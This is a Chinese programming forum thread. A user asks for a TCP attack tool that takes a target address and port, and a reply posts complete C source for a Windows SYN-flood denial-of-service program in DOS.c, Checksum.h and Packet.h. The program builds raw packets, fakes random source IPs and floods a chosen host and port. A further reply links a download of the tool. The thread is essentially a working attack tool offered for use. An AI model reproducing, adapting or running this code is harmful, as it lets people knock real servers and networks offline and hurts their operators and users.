需要是tcp的,可以指定攻擊地址和埠,可以在vs2010下運行
uj5u.com熱心網友回復:
===== DOS.c =====#include <winsock2.h>
#include <ws2tcpip.h>
#include <process.h>
#include <stdio.h>
#include "Packet.h"
#include "Checksum.h"
#pragma comment(lib, "ws2_32.lib")
/**************************************************
* 偽亂數
**************************************************/
ULONG _SEED_;
#define SRND(seed) (_SEED_ = seed)
#define RND() (_SEED_ *= 10807L)
/**************************************************
* 資料包裝填
**************************************************/
#define MAX_TURN_NUM 10000
PACKET_SYN PktSyn[MAX_TURN_NUM];
UINT TurnRemain = MAX_TURN_NUM; //當前回合剩余數
UINT TurnTimes = 0; //當前回合數
BOOL isDone = TRUE; //回合完成標志
BOOL isTerm = FALSE; //退出標志
SOCKET hSocket;
ULONG ip;
USHORT port;
/**************************************************
* 函式:InitNetwork
* 注釋:初始化網路
**************************************************/
BOOL InitNetwork()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 0), &wsaData);
/*
* 版本檢測
*/
if(2 != LOBYTE(wsaData.wVersion)||
0 != HIBYTE(wsaData.wVersion))
{
printf("無法加載Winsock.DLL!");
WSACleanup();
return FALSE;
}
return TRUE;
}
/**************************************************
* 函式:InitSocket
* 注釋:初始化網路
**************************************************/
BOOL InitSocket()
{
DWORD dwOpVal = TRUE;
/*
* 創建Socket
*/
hSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED);
if(INVALID_SOCKET == hSocket)
{
printf("創建Socket失敗!");
return FALSE;
}
/*
* 設定選項
*/
if(SOCKET_ERROR ==
setsockopt(hSocket, IPPROTO_IP, IP_HDRINCL, (char*)&dwOpVal, sizeof(DWORD))
)
{
printf("設定Socket發生錯誤!");
return FALSE;
}
return TRUE;
}
/**************************************************
* 函式:PacketBuild
* 注釋:裝包
**************************************************/
VOID PacketBuild()
{
UINT i;
SRND(GetTickCount());
InitChkSumTable();
/*
* IP層
*/
PktSyn[0].IP.VerLen = 0x45;
PktSyn[0].IP.TOS = 0;
PktSyn[0].IP.Length = HTONS(0);
PktSyn[0].IP.Ident = HTONS(1);
PktSyn[0].IP.Flags = 0x40;
PktSyn[0].IP.TTL = 64;
PktSyn[0].IP.Proto = PROTO_IP_TCP;
PktSyn[0].IP.DstIP = ip;
/*
* TCP層
*/
PktSyn[0].TCP.DstPort = HTONS(port);
PktSyn[0].TCP.Ack = 0;
PktSyn[0].TCP.HeaderLen = 0x50;
PktSyn[0].TCP.Flags = FLAG_TCP_SYN;
PktSyn[0].TCP.WinSize = 0xFFFF;
PktSyn[0].TCP.UrgPtr = 0;
/*
* 計算Checksum
*/
InitIPSum((USHORT*)&PktSyn[0].IP);
InitTCPSum((USHORT*)&PktSyn[0].TCP, ip);
for(i=1; i<MAX_TURN_NUM; i++)
memcpy(&PktSyn[i], &PktSyn[0], sizeof(PACKET_SYN));
}
/**************************************************
* 函式:BuildThread
* 注釋:裝填執行緒
**************************************************/
VOID BuildThread()
{
INT i;
ULONG ip;
USHORT port;
ULONG seq;
for(;;)
{
/*
* 等待下一輪的裝填
*/
while(!isDone)
{
Sleep(1);
if(isTerm)
return;
}
for(i=MAX_TURN_NUM-1; i>=0; i--)
{
ip = (RND() << 8) | 0xA;
port = (USHORT)RND();
seq = RND();
PktSyn[i].IP.SrcIP = ip;
PktSyn[i].IP.ChkSum = IPChecksum(ip);
PktSyn[i].TCP.SrcPort = port;
PktSyn[i].TCP.Seq = seq;
PktSyn[i].TCP.ChkSum = TCPChecksum(ip, port, seq);
}
isDone = FALSE;
}
}
/**************************************************
* 函式:FloodThread
* 注釋:攻擊執行緒
**************************************************/
VOID FloodThread()
{
SOCKADDR_IN addr_in = {AF_INET, port};
addr_in.sin_addr.S_un.S_addr = ip;
while(!isTerm)
{
sendto(hSocket,
(const char*)&PktSyn[TurnRemain],
sizeof(PACKET_SYN),
0,
(PSOCKADDR)&addr_in,
sizeof(addr_in));
/*
* 當前回合完成
*/
if(0 == TurnRemain--)
{
TurnRemain = MAX_TURN_NUM-1;
TurnTimes++;
isDone = TRUE;
}
}
}
/**************************************************
* 函式:DisplayUsage
* 注釋:用法
**************************************************/
VOID DisplayUsage()
{
printf("DDOS Flood v1.0 By EtherDream\n\n");
printf("用法: DDOS 主機 埠 [持續時間 (默認無限)]");
}
BOOL WINAPI CtrlHandler(DWORD ctrlType)
{
isTerm = TRUE;
return TRUE;
}
/**************************************************
* 注釋 主程式
**************************************************/
int main(int argc, char* argv[])
{
HOSTENT *lpHost = NULL;
UINT curSent = 0;
UINT lastSent = 0;
UINT time = 0xFFFFFFFF;
UINT t = 0;
/*
* 初始化網路
*/
if(!InitNetwork())
return 1;
/*
* 無效的引數量
*/
if(argc < 3)
{
DisplayUsage();
return 1;
}
/*
* IP地址格式檢測
*/
ip = inet_addr(argv[1]);
if(ip == -1)
{
lpHost = gethostbyname(argv[1]);
if(NULL == lpHost)
{
printf("無法決議主機: %s\n", argv[1]);
return 1;
}
ip = ((LPIN_ADDR)lpHost->h_addr)->s_addr;
}
/*
* 埠格式檢測
*/
port = (USHORT)atoi(argv[2]);
/*
* 時間檢測
*/
if(argc == 4)
{
time = atoi(argv[3]);
if(time <=0)
{
printf("無效的時間!\n");
return 1;
}
}
/*
* 初始化Socket
*/
if(!InitSocket())
return 1;
printf("攻擊中...\n");
PacketBuild();
/*
* 啟動裝填、攻擊執行緒
*/
_beginthread((void(__cdecl*)(void*))BuildThread, 0, NULL);
Sleep(1);
_beginthread((void(__cdecl*)(void*))FloodThread, 0, NULL);
SetConsoleCtrlHandler(CtrlHandler, TRUE);
/*
* 顯示發送資訊
*/
while(t != time)
{
if(isTerm)
break;
Sleep(1000);
/*
* 當前發送數
*/
curSent = TurnTimes * MAX_TURN_NUM + (MAX_TURN_NUM - TurnRemain);
printf("[%d] 速度: %d 包/秒. (累計發送: %d 包)\t\r",
++t,
curSent - lastSent,
curSent);
lastSent = curSent;
}
printf("\n完成!");
closesocket(hSocket);
WSACleanup();
return 0;
}
===== Checksum.h =====
#ifndef __CHKSUM__
#define __CHKSUM__
#include "Packet.h"
#define HI(VALUE) (VALUE >> 16)
#define LOW(VALUE) (VALUE & 0xFFFF)
#define SUM(VALUE) (HI(VALUE) + LOW(VALUE))
UINT __IPSum__;
UINT __TCPSum__;
/**************************************************
* 注釋:定義Checksum快取表
**************************************************/
#define MAX_WORD_LEN \
((sizeof(HEADER_TCP) + sizeof(HEADER_PSD)) / sizeof(USHORT))
#define MAX_TBL_SIZE \
(0x10000 * MAX_WORD_LEN)
USHORT TableChkSum[MAX_TBL_SIZE];
/**************************************************
* 函式:InitChkSumTable
* 注釋:初始化Checksum快取表
**************************************************/
static void InitChkSumTable()
{
UINT i;
UINT chkSum;
for(i=0; i<MAX_TBL_SIZE; i++)
{
chkSum = SUM(i);
chkSum += HI(chkSum);
TableChkSum[i] = (USHORT)~chkSum;
}
}
/**************************************************
* 函式:GetIPSum
* 注釋:計算IP欄位和
**************************************************/
static void InitIPSum(USHORT buf[])
{
__IPSum__ =
buf[0] + buf[1] + buf[2] + buf[3] + buf[4] + buf[8] + buf[9];
}
/**************************************************
* 函式:GetTCPSum
* 注釋:計算TCP欄位和
**************************************************/
static void InitTCPSum(USHORT buf[], ULONG DstIP)
{
__TCPSum__ =
SUM(DstIP) +
HTONS(PROTO_IP_TCP) +
HTONS(sizeof(HEADER_TCP)) +
buf[1] + buf[6] + buf[7] + buf[9];
}
#define IPChecksum(SrcIP) \
TableChkSum[__IPSum__ + SUM(SrcIP)]
#define TCPChecksum(SrcIP, SrcPort, Seq) \
TableChkSum[__TCPSum__ + SUM(SrcIP) + SUM(Seq) + SrcPort]
#endif
===== Packet.h =====
#ifndef __PACKET__
#define __PACKET__
#include <windef.h>
//
// IP結構
//
typedef struct
{
BYTE VerLen;
BYTE TOS;
USHORT Length;
USHORT Ident;
USHORT Flags;
BYTE TTL;
BYTE Proto;
USHORT ChkSum;
ULONG SrcIP;
ULONG DstIP;
} HEADER_IP;
//
// TCP結構
//
typedef struct
{
USHORT SrcPort;
USHORT DstPort;
ULONG Seq;
ULONG Ack;
BYTE HeaderLen;
BYTE Flags;
USHORT WinSize;
USHORT ChkSum;
USHORT UrgPtr;
} HEADER_TCP;
typedef struct
{
ULONG SrcIP;
ULONG DstIP;
BYTE MBZ;
BYTE Proto;
USHORT TCPLen;
} HEADER_PSD;
typedef struct
{
HEADER_IP IP;
HEADER_TCP TCP;
} PACKET_SYN;
/**************************************************
* 宏:HTONS
* 注釋:網路位元組順序轉換
**************************************************/
#define HTONS(_host) \
( \
(((_host) & 0xff00) >> 8) | \
(((_host) & 0x00ff) << 8) \
)
//
// 協議
//
#define PROTO_IP_TCP 6
#define FLAG_TCP_SYN 2
#endif
uj5u.com熱心網友回復:
N久以前vc6寫的。轉換下即可。http://www.etherdream.com/syndos/SYNDOS(Socket).rar
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/156772.html
標籤:網絡及通訊開發
上一篇:關于一個dll如何呼叫的新手問題
